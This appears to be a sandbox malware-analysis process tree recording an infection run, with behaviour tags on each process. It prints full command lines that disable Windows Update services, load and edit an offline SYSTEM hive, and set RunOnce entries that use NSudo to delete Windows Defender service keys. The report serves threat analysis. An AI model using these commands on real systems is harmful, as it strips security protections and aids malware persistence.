                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f
                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                  PID:4892
                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                  reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEM
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                  PID:3292
                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                  reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                    PID:6124
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                    reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                      PID:512
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                      reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                        PID:2060
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                        reg unload HKLM\TEMP_SYSTEM
                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                        PID:4012
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\barer\game.exe
                                                                                                                                                                                                                        game /delwd
                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                        • Checks computer location settings
                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                        PID:2720
                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                          PID:5268
                                                                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                            sc query IObitUnlocker
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                            PID:5592
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\barer\game.exe
                                                                                                                                                                                                                        game /DelWD
                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                        • Checks computer location settings
                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                        PID:3096
                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                          PID:1340
                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                              PID:4600
                                                                                                                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                              sc query IObitUnlocker
                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                                                                              PID:1408
                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "3096"
                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                                                            PID:4480
                                                                                                                                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                              taskkill /f /pid "3096"
                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                              PID:4148
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                          reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f
                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                            PID:5888
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                            PID:1876
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean1" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                              PID:5736
                                                                                                                                                                                                                        • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                          "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:5920
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\random.exe
                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\random.exe
                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                                                                                                        • Checks BIOS information in registry
                                                                                                                                                                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                        PID:3056
                                                                                                                                                                                                                        • C:\Windows\TEMP\svchostmanager.exe
                                                                                                                                                                                                                          "C:\Windows\TEMP\svchostmanager.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Checks BIOS information in registry
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          • Drops file in System32 directory
                                                                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                                                                          PID:412
                                                                                                                                                                                                                        • C:\Windows\TEMP\svchostam.exe
                                                                                                                                                                                                                          "C:\Windows\TEMP\svchostam.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:3644
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3644 -s 532
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                            PID:6136
                                                                                                                                                                                                                        • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                          "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:2748
                                                                                                                                                                                                                        • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                          "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:948
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 948 -s 504
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                            PID:4548
                                                                                                                                                                                                                        • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                          "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:1860
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1860 -s 504
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                            PID:4564
                                                                                                                                                                                                                        • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                          "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:1600
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1600 -s 504
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                            PID:5484
                                                                                                                                                                                                                        • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                          "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:4540
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4540 -s 508
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                            PID:1756
                                                                                                                                                                                                                        • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                          "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:4012
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4012 -s 504
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                            PID:2612
                                                                                                                                                                                                                        • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                          "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:3536
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3536 -s 504
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                            PID:1068
                                                                                                                                                                                                                        • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                          "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:448
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 448 -s 504
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                            PID:1180
                                                                                                                                                                                                                        • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                          "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:5572
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 5572 -s 504
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                            PID:684
                                                                                                                                                                                                                        • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                          "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:3368
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 504
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                            PID:1104
                                                                                                                                                                                                                        • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                          "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:2904
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2904 -s 504
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                            PID:4472
                                                                                                                                                                                                                        • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                          "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:3228
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 504
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                            PID:5408
                                                                                                                                                                                                                        • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                          "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:5208
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 5208 -s 504
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                            PID:2456
                                                                                                                                                                                                                        • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                          "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:5396
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 5396 -s 504
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                            PID:2984
                                                                                                                                                                                                                        • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                          "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:5376
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 5376 -s 504
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                            PID:5876
                                                                                                                                                                                                                        • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                          "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:2428
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2428 -s 504
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                            PID:4704
                                                                                                                                                                                                                        • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                          "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:408
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 408 -s 512
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                            PID:4528
                                                                                                                                                                                                                        • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                          "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:3288
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3288 -s 504
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                            PID:3364
                                                                                                                                                                                                                        • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                          "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:4620
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4620 -s 504
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                            PID:3788
                                                                                                                                                                                                                        • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                          "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:4152
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4152 -s 512
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                            PID:2832
                                                                                                                                                                                                                        • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                          "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:4216
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 4216 -s 504
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                                              PID:5888
                                                                                                                                                                                                                          • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                            "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:6084
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 6084 -s 504
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                PID:5232
                                                                                                                                                                                                                            • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                              "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:1964
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1964 -s 504
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                  PID:5452
                                                                                                                                                                                                                              • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                                "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:856
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 856 -s 504
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                    PID:4728
                                                                                                                                                                                                                                • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                                  "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:2828
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 2828 -s 504
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                      PID:3704
                                                                                                                                                                                                                                  • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                                    "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:1632
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1632 -s 504
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                                        PID:5576
                                                                                                                                                                                                                                    • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                                      "C:\Windows\svchosthelper.exe"
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:4724
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4724 -s 504
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                          PID:1744
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3644 -ip 3644
                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                        PID:6048
                                                                                                                                                                                                                                      • C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                                        C:\Windows\svchosthelper.exe
                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                        PID:1916
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 948 -ip 948
                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                          PID:4204
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 1860 -ip 1860
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                            PID:4236
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 1600 -ip 1600
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                              PID:3948
                                                                                                                                                                                                                                            • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                              C:\Windows\system32\WerFault.exe -pss -s 576 -p 2720 -ip 2720
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                PID:5936
                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                  PID:1180
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 4540 -ip 4540
                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                    PID:5956
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.sys
                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.sys
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                    PID:4868
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 4012 -ip 4012
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                      PID:1568
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 3536 -ip 3536
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                        PID:3532
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 448 -ip 448
                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                          PID:1232
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 5572 -ip 5572
                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                            PID:2400
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 3368 -ip 3368
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                              PID:1880
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 2904 -ip 2904
                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                PID:3272
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 3228 -ip 3228
                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                  PID:3696
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 5208 -ip 5208
                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                    PID:5132
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 388 -p 5396 -ip 5396
                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                      PID:5940
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 5376 -ip 5376
                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                        PID:6036
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 2428 -ip 2428
                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                          PID:1752
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 692 -p 408 -ip 408
                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                            PID:1388
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 3288 -ip 3288
                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                              PID:3452
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4620 -ip 4620
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                PID:4204
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 4152 -ip 4152
                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                  PID:4596
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 4216 -ip 4216
                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                    PID:4412
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 6084 -ip 6084
                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                      PID:4100
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 716 -p 1964 -ip 1964
